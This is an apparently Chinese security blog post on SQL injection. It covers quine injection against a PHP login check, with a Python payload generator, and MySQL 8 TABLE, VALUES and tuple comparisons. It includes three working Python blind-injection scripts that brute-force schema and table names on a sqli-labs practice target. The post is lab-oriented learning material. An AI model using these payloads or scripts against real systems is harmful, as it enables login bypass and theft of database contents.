quine和mysql8新特性

Quine

sqli quine是mysql注入中的一种特殊的攻击方式.服务端对于用户登录的判断方式如下,则可以考虑quine攻击.

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

可以看到他的逻辑是什么?是从数据库中查询我们输入的账户的用户信息,然后返回这个密码.如果密码和我们输入的密码是相同的话,就判定登录成功.那么问题来了,有没有可能在不知道密码的情况下构造一种查询,使得输入的password和返回的内容是相同的呢?这就是我们攻击的要点.
我们先来考虑这样一个问题,如下的sql语句执行结果是什么呢?

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

我们会惊奇的发现一个问题,就是这条语句执行完以后还是他本身.这也是我们操作的理论基础.下面贴一个python脚本,能够生成查询结果是它本身的sql注入语句.

def quine(data, debug=True):
    if debug: print data
    data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$','"$"').replace("'",'"')
    data = data.replace('$$',"'"+blob+"'")
    if debug: print data
    return data

脚本使用方法:

data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)

总之就是把希望回显的内容去用$$替代即可.
下面记录一些具有quine特性的python程序
1.执行后为其本身的程序.

exec(s:='print(("exec(s:=%r)"%s),end="")')

执行后为其逆序的程序

exec(s:='print(("exec(s:=%r)"%s)[::-1],end="")')

执行后为其哈希的程序

exec(s:='import hashlib;print(hashlib.sha256(("exec(s:=%r)"%s).encode()).hexdigest(),end="")')

放一个链接hackergame2020-writeups/official/自复读的复读机/README.md at master · USTC-Hackergame/hackergame2020-writeups (github.com)

mysql8新特性

新特性感觉和注入相关的就是引入了两个新指令,一个新的比较方法.

1.table指令
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

具体用法:

table users order by password;
table users limit 1,1;

注意:table指令可以配合union来使用,但是不支持通过where来过滤

2.values指令
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

具体用法:

VALUES ROW(1, 2, 3);

结果类似
image
利用方法:TABLE users union VALUES ROW(1,2,3);来判断列数,类似order by判断方法.

3.元组比较

语句table users limit 1;的查询结果:

mysql> table users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

实质上是(id, username, password)(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
|                                   1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

注意下面这种特殊形式的比较

table user limit 0,1
返回值:1 hel
看下面的例子
select (('0',2)<(table user limit 0,1))
返回值:1
select (('1',2)<(table user limit 0,1))
返回值:0
select (('2',2)<(table user limit 0,1))
返回值:0
select (('0aaaa',2)<(table user limit 0,1))
返回值:1
select (('1aaaa',2)<(table user limit 0,1))
返回值:0

4.盲注利用
首先先去爆破数据库名

import requests
url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''
for i in range(1,100):
    found = False
    for j in range(32, 128):  # ASCII printable characters
        payload="?id=1' and  (table information_schema.schemata limit 4,1)<('def','{}',3,4,5,6)--+".format(a+chr(j))#schemata的结构是本地来的.
        r=requests.get(url=url+payload)
        if "Dumb" not in r.text:
            a += chr(j)
            print(a)
            found = True
            break
    if not found:
        break

接下来判断该数据库的表在information_schema.tables表中的位置.

import requests
url="http://192.168.199.155:8082/Less-1/"
for i in range(300,330):
        payload1="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <(table information_schema.tables limit {},1)--+".format(i)
        payload2="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <(table information_schema.tables limit {},1)--+".format(i)
        r1=requests.get(url=url+payload1)
        r2=requests.get(url=url+payload2)
        #print(payload)
        if "Dumb" not in r1.text and "Dumb" not in r2.text:
            print(i)

挨个表名去爆

import requests

url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''

for i in range(1,100):
    found = False
    for j in range(32, 128):  # ASCII printable characters
        payload="?id=1' and ('def','security','{}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 322,1)--+".format(a+chr(j))
        r=requests.get(url=url+payload)
        if "Dumb"  in r.text:
            a += chr(j)
            print(a)
            found = True
            break
    if not found:
        break

接下来可以用同样的方法去爆破列名和列中的具体内容.

posted @   meraklbz  阅读(70)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示